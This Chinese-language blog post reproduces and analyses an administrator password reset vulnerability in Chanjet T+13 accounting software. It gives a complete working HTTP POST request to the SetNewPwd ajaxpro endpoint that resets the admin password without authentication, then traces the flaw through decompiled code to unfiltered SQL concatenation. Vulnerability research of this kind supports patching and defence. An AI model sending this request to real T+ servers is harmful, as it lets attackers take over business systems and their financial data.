当前位置: 首页 > article >正文

畅捷通T+13管理员密码任意重置漏洞

复现版本 畅捷通13

漏洞复现

POST /tplus/ajaxpro/RecoverPassword,App_Web_recoverpassword.aspx.cdcab7d2.ashx?method=SetNewPwd HTTP/1.1
Host: 192.168.1.8:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1712566102,1712630297,1712717660; ASP.NET_SessionId=wnyq4w3zxafmow1ocmdx3t3b; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1712725555
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 45

{"pwdNew":"abf0ec7e667380f7976189fad249a178"}

在这里插入图片描述
可以看到返回true,成功修改
这里的密码写成md5在这里插入图片描述
我们来看看数据库中的值在这里插入图片描述
在这里插入图片描述
可以看到数据库中也是修改了的密码

漏洞分析

首先看重置密码的页面recoverpassword.aspx在这里插入图片描述
在这里插入图片描述
因为畅捷通都是预编译的,那么找到recoverpassword对应的dll文件在这里插入图片描述
打开在这里插入图片描述
保存至于visualstudio中更加友好

protected void Page_Load(object sender, EventArgs e)
{
    try
    {
        Utility.RegisterTypeForAjax(typeof(RecoverPassword));
    }
    catch (Exception exc)
    {
        ExceptionHandlerFactory.GetExceptionHandler(exc).Handle(Page);
    }
}

Page_Load中有RegisterTypeForAjax,说明可以ajax调用,调用的类就是RecoverPassword,使用AjaxMethod可以在客户端异步调用服务端方法,简单地说就是在JS里调用后台文件里的方法,做一些JS
无法做到的操作,如查询数据库等

[AjaxMethod]
public bool SetNewPwd(string pwdNew)
{
    try
    {
        pwdNew = LoginService.EncodeMD5(pwdNew);
        pwdNew = LoginService.EncodeBase64(pwdNew);
        return accountService.RecoverSystemPassword(pwdNew);
    }
    catch (Exception ex)
    {
        throw ex;
    }
}

SetNewPwd方法通过编码后进入RecoverSystemPassword,在这里插入图片描述
发现只有接口,找不到实现,那么实现不在这个dll中,去别的dll中找在这里插入图片描述
发现在Ufida.T.EAP.Account.BE.dll中,可以发现不在bin目录下,所以找的时候一定要覆盖全部代码目录,防止遗漏在这里插入图片描述
未进行任何过滤,直接拼接到sql语句中来更新管理员密码

那么我们就能通过ajax调用RecoverPassword类,那么寻找调用地址在这里插入图片描述
在这里插入图片描述
那么便有了上面的请求包


http://www.kler.cn/a/450659.html

相关文章:

  • Docker 部署 plumelog 最新版本 实现日志采集
  • 广州大学计算机组成原理课程设计
  • 项目实战——高并发内存池
  • Linux -- 线程的优点、pthread 线程库
  • LeNet网络搭建
  • 【C++读写.xlsx文件】OpenXLSX开源库在 Ubuntu 18.04 的编译、交叉编译与使用教程
  • 【C++动态规划 前缀和】937. 扣分后的最大得分|2105
  • 5、mysql的读写分离
  • 使用QML实现播放器进度条效果
  • spring mvcservlet跳转页面没有样式效果
  • ubuntu安装nginx
  • leetcode之hot100---24两两交换链表中的节点(C++)
  • Ubuntu离线安装Docker容器
  • vscode添加全局宏定义
  • 青少年编程与数学 02-004 Go语言Web编程 20课题、单元测试
  • AI如何进行风险控制:深度解析与实战应用
  • 开源模型应用落地-LlamaIndex学习之旅-Agents-用自然语言构建Agent(一)
  • Linux -- 线程的优点、pthread 线程库
  • 南海区2021年C++甲组真题第3题——Excel地址
  • 【C# 联合halcon实现绘制箭头】
  • 【C语言】`free` 函数详细讲解
  • 如何在谷歌浏览器中设置邮件客户端
  • OSError: [Errno 98] Address already in use pycharm 远程
  • 重温设计模式--迭代器模式
  • Python项目之Pygame制作新年烟花!
  • 【从零开始入门unity游戏开发之——unity篇02】unity6基础入门——软件下载安装、Unity Hub配置、安装unity编辑器、许可证管理